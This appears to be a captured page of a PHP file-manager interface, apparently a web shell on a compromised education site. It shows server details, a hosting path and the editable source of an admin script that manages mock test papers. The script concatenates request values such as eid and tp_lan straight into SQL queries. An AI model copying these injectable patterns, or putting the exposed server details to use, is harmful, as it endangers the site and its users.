Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.40.1.lve.el8.x86_64

PHP Version:

8.2.27

User:

u176930106

Directory:

/home/u176930106/domains/udan.org.in/public_htmlbkp/webadmin

Free Space:

1.93 TB

🔧 Quick Actions

✏️ Editing: addtestmacdm.php

<?php
ob_start();
session_start();
include("includes/inall.php");

unset($_SESSION['ipage']);
unset($_SESSION['ifield']);
unset($_SESSION['itype']);

$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'Add';
$eid = isset($_REQUEST['eid']) ? $_REQUEST['eid'] : '';
$name = isset($_REQUEST['name']) ? $_REQUEST['name'] : '';
$flag = isset($_REQUEST['flag']) ? $_REQUEST['flag'] : '';

$heading = "Test Paper (Mock)";
$addpage = "addtestmacdm.php";
$listpage = "viewtestsmacdm.php";
$table = "edutestpaperacdms";
$pkey = "tp_id";

if (isset($_POST['ajax']) && $_POST['ajax'] == 'get_subjects') {
    $class_ids = $_POST['class_ids'] ?? [];
    $subjects_html = '';

$res = mysqli_query($con, "SELECT * FROM `subjectacdms` WHERE `status`='1' ORDER BY `name`");
    while ($row = mysqli_fetch_assoc($res)) {
        $subject_class_ids = array_map('trim', explode(',', $row['class_id']));
        if (empty($class_ids) || count(array_intersect($class_ids, $subject_class_ids)) > 0) {
            $subjects_html .= '<label class="d-block">
                <input type="checkbox" class="subject-checkbox" data-name="' . $row['name'] . '" name="tp_subject_ids[]" value="' . $row['id'] . '"> ' . $row['name'] . '
            </label>';
        }
    }

if (empty($subjects_html)) {
        $subjects_html = "<p>No subjects available.</p>";
    }

echo $subjects_html;
    exit();
}

// Fetch existing row for Update
if ($action == "Update" && $eid != "") {
    $rowm = mysqli_fetch_object(mysqli_query($con, "SELECT * FROM `$table` WHERE `$pkey`='$eid'"));
    $selectedClasses = isset($rowm->tp_class) ? explode(',', $rowm->tp_class) : [];
    $selectedSubjects = isset($rowm->tp_subject) ? explode(',', $rowm->tp_subject) : [];
} else {
    $selectedClasses = [];
    $selectedSubjects = [];
}

// ADD TEST PAPER
if (isset($_POST['submitin']) && $_POST['submitin'] == "Add") {
    $tp_class_ids = $_POST['class_ids'] ?? [];
    $tp_class = implode(',', $tp_class_ids); // comma-separated classes

$tp_subject_ids = $_POST['tp_subject_ids'] ?? [];
    $tp_subject = implode(',', $tp_subject_ids); // comma-separated subjects

$tp_type = isset($_POST['tp_type']) ? addslashes($_POST['tp_type']) : '';

// Fix for multiple language selection
    $tp_lan_arr = $_POST['tp_lan'] ?? [];
    $tp_lan = implode(',', $tp_lan_arr);

$tp_name = isset($_POST['tp_name']) ? addslashes($_POST['tp_name']) : '';
    $tp_tmarks = isset($_POST['tp_tmarks']) ? addslashes($_POST['tp_tmarks']) : '';
    $tp_emin = isset($_POST['tp_emin']) ? addslashes($_POST['tp_emin']) : '';
    $tp_ord = isset($_POST['tp_ord']) ? addslashes($_POST['tp_ord']) : '';
    $deacdate = isset($_POST['deacdate']) ? $_POST['deacdate'] : '';
    $expiry_date = isset($_POST['expiry_date']) ? $_POST['expiry_date'] : '';
    $dc = date("Y-m-d");
    $t = date("h:i:s A");

$tp_class = mysqli_real_escape_string($con, $tp_class);
    $tp_subject = mysqli_real_escape_string($con, $tp_subject);
    $tp_noques = isset($_POST['tp_noques']) ? addslashes($_POST['tp_noques']) : '';

mysqli_query($con, "INSERT INTO `edutestpaperacdms` 
    (`tp_cdate`,`tp_mcmn`,`tp_class`,`tp_type`,`tp_subject`,`tp_lan`,`tp_name`,
     `tp_noques`,`tp_tmarks`,`tp_time`,`tp_emin`,`tp_ord`,`tp_dedate`,`expiry_date`,`tp_st`,`created_by`,`tp_by`,`testpaperid`) 
    VALUES 
    ('$dc','Mock','$tp_class','$tp_type','$tp_subject','$tp_lan','$tp_name',
    '$tp_noques','$tp_tmarks','$t','$tp_emin','$tp_ord','$deacdate','$expiry_date','1','" . $_SESSION['userid'] . "','Admin','1')");
    $id = mysqli_insert_id($con);

/*if(isset($_FILES['tp_excel']['name'])) {
        $userfile_name=$_FILES['tp_excel']['name'];
        $userfile_tmp=$_FILES['tp_excel']['tmp_name'];
        $img=$_FILES['tp_excel']['tmp_name'];
        $userfile_size=$_FILES['tp_excel']['size'];
        $userfile_type=$_FILES['tp_excel']['type'];
        $t=explode(".",$userfile_name);
        if($t[1]=="xls" || $t[1]=="xlsx") {
            $path=time().$userfile_name; //original path
            $uppath="docs/".$path;
            move_uploaded_file($_FILES['tp_excel']['tmp_name'], $uppath);
        }
        mysqli_query($con,"update `edutestpaper` set `tp_excel`='".$path."' where `tp_id`='".$id."'");
    }
    if(isset($_FILES['tp_excel']['name']) && $_FILES['tp_excel']['name']!="") {
        require_once 'excel_reader.php';
        $excel=new PhpExcelReader;
        $excel->read($uppath);
        $nr_sheets=count($excel->sheets);
        for($x=1;$x<=$excel->sheets[0]['numRows'];$x++) {
            $question=addslashes(utf8_encode(trim($excel->sheets[0]["cells"][$x][2]))); 
            $text1=addslashes(utf8_encode(trim($excel->sheets[0]["cells"][$x][3])));  
            $text2=addslashes(utf8_encode(trim($excel->sheets[0]["cells"][$x][4])));  
            $text3=addslashes(utf8_encode(trim($excel->sheets[0]["cells"][$x][5])));  
            $text4=addslashes(utf8_encode(trim($excel->sheets[0]["cells"][$x][6])));  
            $ranswer=addslashes(utf8_encode(trim($excel->sheets[0]["cells"][$x][7]))); 
            $marks=1;
            $nmarking=".35";
            if($question!="") {
                $insert_sql_data=array('tref'=>$id,
                'question'=>$question,
                'question_st'=>'1',
                'question_cdate'=>$dc,
                'question_by'=>'Admin',
                'answer1'=>ucwords(strtolower($text1)),
                'answer2'=>ucwords(strtolower($text2)),
                'answer3'=>ucwords(strtolower($text3)),
                'answer4'=>ucwords(strtolower($text4)),
                'answerright'=>ucwords(strtolower($ranswer)),
                'marks'=>'1',
                'nmarks'=>$nmarking
                );
                tep_db_perform("eduquestion",$insert_sql_data,'insert');	
            }
        }	
    }*/
    //mysqli_query($con,"delete from `eduquestion` where (`question`='QUESTION' and `answer1`='Text Option 1' and `answer2`='Text Option 2') or `question`=''");

$_SESSION['msg'] = "Testpaper Submit Successful.";
    header('location:addtestmacdm.php');
    exit();
}

// UPDATE TEST PAPER
if (isset($_POST['submitin']) && $_POST['submitin'] == "Update") {
    $tp_class_ids = $_POST['class_ids'] ?? [];
    $tp_class = implode(',', $tp_class_ids);

$tp_type = isset($_POST['tp_type']) ? addslashes($_POST['tp_type']) : '';

$tp_subject_ids = $_POST['tp_subject_ids'] ?? [];
    $tp_subject = implode(',', $tp_subject_ids); // comma-separated subjects

// Fix for multiple language update
    $tp_lan_arr = $_POST['tp_lan'] ?? [];
    $tp_lan = implode(',', $tp_lan_arr);

$tp_class = mysqli_real_escape_string($con, $tp_class);

$tp_noques = isset($_POST['tp_noques']) ? addslashes($_POST['tp_noques']) : '';

$ins_query = mysqli_query($con, "UPDATE `edutestpaperacdms` SET 
    `tp_class`='$tp_class',
    `tp_type`='$tp_type',
    `tp_subject`='$tp_subject',
    `tp_lan`='$tp_lan',
    `tp_name`='$tp_name',
    `tp_noques`='$tp_noques',
    `tp_tmarks`='$tp_tmarks',
    `tp_time`='$t',
    `tp_emin`='$tp_emin',
    `tp_ord`='$tp_ord',
    `tp_dedate`='$deacdate',
    `expiry_date`='$expiry_date',
    `updated_by`='" . $_SESSION['userid'] . "'
    WHERE `$pkey`='$eid'");

$flag = "go" . $flag;

if ($ins_query) {
        $_SESSION['msg'] = $heading . " updation is successful.";
        header("location:" . $listpage . "?name=" . $name . "#" . $flag);
        exit();
    } else {
        $_SESSION['msgerr'] = "Some error occured: " . mysqli_error($con);
        header("location:" . $listpage . "?name=" . $name . "#" . $flag);
        exit();
    }
}

include("includes/headermain.php");
?>

<?php if ($_SESSION['msgerr']) { ?><span class="redtxt"><?php print $_SESSION['msgerr'];
                                                                                            $_SESSION['msgerr'] = ""; ?></span>
                                        <div class="cleaner h10"></div><?php } ?>
                                    <?php if ($_SESSION['msg']) { ?><span class="grtxt"><?php print $_SESSION['msg'];
                                                                                        $_SESSION['msg'] = ""; ?></span>
                                        <div class="cleaner h10"></div><?php } ?>

<div class="form-group col-md-6 floatleft">
                                        <label>*Select Classes</label>
                                        <div class="dropdown-multiselect">
                                            <button type="button" class="form-control text-left dropdown-toggle" data-toggle="dropdown">Select Classes</button>
                                            <div class="dropdown-menu w-100 p-2">
                                                <?php
                                                $classQuery = mysqli_query($con, "SELECT * FROM acdmclass WHERE status='1' ORDER BY name");
                                                while ($class = mysqli_fetch_assoc($classQuery)) {
                                                    $checked = in_array($class['id'], $selectedClasses) ? 'checked' : '';
                                                    echo '<label class="d-block"><input type="checkbox" class="class-checkbox" data-name="' . $class['name'] . '" name="class_ids[]" value="' . $class['id'] . '" ' . $checked . '> ' . $class['name'] . '</label>';
                                                }
                                                ?>
                                            </div>
                                        </div>
                                        <div id="selected-classes" class="mt-2"></div>
                                    </div>

<div class="form-group col-md-6 floatleft">
                                        <label>*Subjects</label>
                                        <div class="dropdown-multiselect">
                                            <button type="button" class="form-control text-left dropdown-toggle" data-toggle="dropdown">Select Subjects</button>
                                            <div class="dropdown-menu w-100 p-2" id="subjects-dropdown"></div>
                                        </div>
                                        <div id="selected-subjects" class="mt-2"></div>
                                    </div>
                                    <div class="cleaner"></div>

<div class="form-group col-md-6 floatleft">
                                        <label for="example-text-input" class="col-form-label">*Language</label>
                                        <div class="dropdown-multiselect">
                                            <button type="button" class="form-control text-left dropdown-toggle" data-toggle="dropdown" id="languageDropdownButton">Select Languages</button>
                                            <div class="dropdown-menu w-100 p-2">
                                                <?php
                                                $languages = ["Bengali", "English", "Hindi"];
                                                $selectedLanguages = isset($rowm->tp_lan) ? explode(',', $rowm->tp_lan) : [];
                                                foreach ($languages as $lang) {
                                                    $checked = in_array($lang, $selectedLanguages) ? 'checked' : '';
                                                    echo '<label class="d-block">
                                                            <input type="checkbox" class="language-checkbox" name="tp_lan[]" value="' . $lang . '" ' . $checked . '> ' . $lang . '
                                                          </label>';
                                                }
                                                ?>
                                            </div>
                                        </div>
                                        <div id="selectedLanguages" class="mt-2 text-primary font-weight-bold"></div>
                                    </div>

<div class="form-group col-md-6 floatleft">
                                        <label>*Set Name</label>
                                        <input class="form-control sphgt" type="text" name="tp_name" id="tp_name" value="<?php print $rowm->tp_name; ?>" required>
                                    </div>
                                    <div class="cleaner"></div>

<div class="form-group col-md-6 floatleft">
                                        <label>*Number of Questions</label>
                                        <input class="form-control" type="number" name="tp_noques" id="tp_noques" value="<?php print $rowm->tp_noques; ?>">
                                    </div>
                                    <div class="form-group col-md-6 floatleft">
                                        <label>*Total Marks</label>
                                        <input class="form-control" type="number" name="tp_tmarks" id="tp_tmarks" value="<?php print $rowm->tp_tmarks; ?>" required>
                                    </div>
                                    <div class="form-group col-md-6 floatleft">
                                        <label>*Time (in Mins)</label>
                                        <input class="form-control" type="number" name="tp_emin" id="tp_emin" value="<?php print $rowm->tp_emin; ?>" required>
                                    </div>
                                    <div class="form-group col-md-6 floatleft">
                                        <label>*Order</label>
                                        <input class="form-control sphgt" type="number" name="tp_ord" id="tp_ord" value="<?php print $rowm->tp_ord; ?>" required>
                                    </div>
                                    <div class="form-group col-md-6 floatleft">
                                        <label>Live Date</label>
                                        <input class="form-control sphgt" type="date" name="deacdate" id="deacdate" value="<?php print $rowm->deacdate; ?>">
                                    </div>
                                    <div class="form-group col-md-6 floatleft">
                                        <label>Expiry Date</label>
                                        <input class="form-control sphgt" type="date" name="expiry_date" id="expiry_date" value="<?php print $rowm->expiry_date; ?>">
                                    </div>

<?php /* ?><div class="cleaner"></div>
								<div class="form-group col-md-6 floatleft">
									<label for="example-text-input" class="col-form-label">Upload Excel</label>
									<input class="form-control sphgt" type="file" name="tp_excel" id="tp_excel">
									<br>
							 		<a href="sample/Sample.xls" target="_blank">Sample Excel</a>
								</div>
								<div class="form-group col-md-6 floatleft">
									<label for="example-text-input" class="col-form-label">Deactivation Date</label>
									<input class="form-control sphgt" type="date" name="deacdate" id="deacdate" value="<?php print $rowm->deacdate; ?>">
								</div>
								<div class="cleaner h20"></div>
								<div class="form-group col-md-4 floatleft">
									<label for="example-text-input" class="col-form-label">*From</label>
									<input class="form-control sphgt" type="text" name="tp_froma" id="tp_froma">
								</div>
								<div class="form-group col-md-4 floatleft">
									<label for="example-text-input" class="col-form-label">*To</label>
									<input class="form-control sphgt" type="text" name="tp_toa" id="tp_toa">
								</div>
								<div class="form-group col-md-4 floatleft">
									<label for="example-text-input" class="col-form-label">*Any</label>
									<input class="form-control sphgt" type="text" name="tp_anya" id="tp_anya">
								</div>
								<div class="cleaner"></div>
								<div class="form-group col-md-4 floatleft">
									<label for="example-text-input" class="col-form-label">*From</label>
									<input class="form-control sphgt" type="text" name="tp_fromb" id="tp_fromb">
								</div>
								<div class="form-group col-md-4 floatleft">
									<label for="example-text-input" class="col-form-label">*To</label>
									<input class="form-control sphgt" type="text" name="tp_tob" id="tp_tob">
								</div>
								<div class="form-group col-md-4 floatleft">
									<label for="example-text-input" class="col-form-label">*Any</label>
									<input class="form-control sphgt" type="text" name="tp_anyb" id="tp_anyb">
								</div>
								<div class="cleaner"></div>
								<div class="form-group col-md-4 floatleft">
									<label for="example-text-input" class="col-form-label">*From</label>
									<input class="form-control sphgt" type="text" name="tp_fromc" id="tp_fromc">
								</div>
								<div class="form-group col-md-4 floatleft">
									<label for="example-text-input" class="col-form-label">*To</label>
									<input class="form-control sphgt" type="text" name="tp_toc" id="tp_toc">
								</div>
								<div class="form-group col-md-4 floatleft">
									<label for="example-text-input" class="col-form-label">*Any</label>
									<input class="form-control sphgt" type="text" name="tp_anyc" id="tp_anyc">
								</div>
								<div class="cleaner"></div>
								<div class="form-group col-md-4 floatleft">
									<label for="example-text-input" class="col-form-label">*From</label>
									<input class="form-control sphgt" type="text" name="tp_fromd" id="tp_fromd">
								</div>
								<div class="form-group col-md-4 floatleft">
									<label for="example-text-input" class="col-form-label">*To</label>
									<input class="form-control sphgt" type="text" name="tp_tod" id="tp_tod">
								</div>
								<div class="form-group col-md-4 floatleft">
									<label for="example-text-input" class="col-form-label">*Any</label>
									<input class="form-control sphgt" type="text" name="tp_anyd" id="tp_anyd">
								</div><?php */ ?>
                                    <div class="cleaner h20"></div>
                                    <div class="form-group col-md-12 floatleft">
                                        <button type="submit" class="btn btn-primary mt-2 pr-4 pl-4">Submit</button>
                                    </div>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <?php include("includes/footer.php"); ?>
    </div>

function fetchSubjects(classIds, preSelected = []) {
            const dropdownMenu = document.getElementById("subjects-dropdown");
            dropdownMenu.innerHTML = "<p>Loading...</p>";
            const formData = new FormData();
            formData.append("ajax", "get_subjects");
            classIds.forEach(id => formData.append("class_ids[]", id));

fetch("", {
                    method: "POST",
                    body: formData
                })
                .then(r => r.text())
                .then(html => {
                    dropdownMenu.innerHTML = html;
                    const subjectCheckboxes = dropdownMenu.querySelectorAll(".subject-checkbox");

subjectCheckboxes.forEach(cb => {
                        if (preSelected.includes(cb.value)) cb.checked = true;
                    });

updateSelection(subjectCheckboxes, dropdownMenu.previousElementSibling, document.getElementById("selected-subjects"), "Subject");
                    subjectCheckboxes.forEach(cb => cb.addEventListener("change", () => updateSelection(subjectCheckboxes, dropdownMenu.previousElementSibling, document.getElementById("selected-subjects"), "Subject")));
                });
        }

document.addEventListener("DOMContentLoaded", function() {
            // Classes
            const classCheckboxes = document.querySelectorAll(".class-checkbox");
            const classBtn = document.querySelector(".class-checkbox").closest('.dropdown-multiselect').querySelector('button');
            const selectedClassesDiv = document.getElementById("selected-classes");

let selectedClasses = Array.from(classCheckboxes).filter(cb => cb.checked).map(cb => cb.value);
            let preSelectedSubjects = <?php echo json_encode($selectedSubjects); ?>;
            if (selectedClasses.length > 0) fetchSubjects(selectedClasses, preSelectedSubjects);

classCheckboxes.forEach(cb => cb.addEventListener("change", () => {
                selectedClasses = Array.from(classCheckboxes).filter(cb => cb.checked).map(cb => cb.value);
                updateSelection(classCheckboxes, classBtn, selectedClassesDiv, "Class");
                fetchSubjects(selectedClasses);
            }));
            updateSelection(classCheckboxes, classBtn, selectedClassesDiv, "Class");

// Languages
            const langCheckboxes = document.querySelectorAll(".language-checkbox");
            const langOutput = document.getElementById("selectedLanguages");
            const langButton = document.getElementById("languageDropdownButton");

function updateLangs() {
                const checkedLangs = Array.from(langCheckboxes).filter(cb => cb.checked).map(cb => cb.value);
                langOutput.textContent = checkedLangs.join(", ");
                langButton.textContent = checkedLangs.length > 0 ? checkedLangs.join(", ") : "Select Languages";
            }

langCheckboxes.forEach(cb => cb.addEventListener("change", updateLangs));
            updateLangs();
        });
    </script>
</body>

</body>

</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: addtestmacdm.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation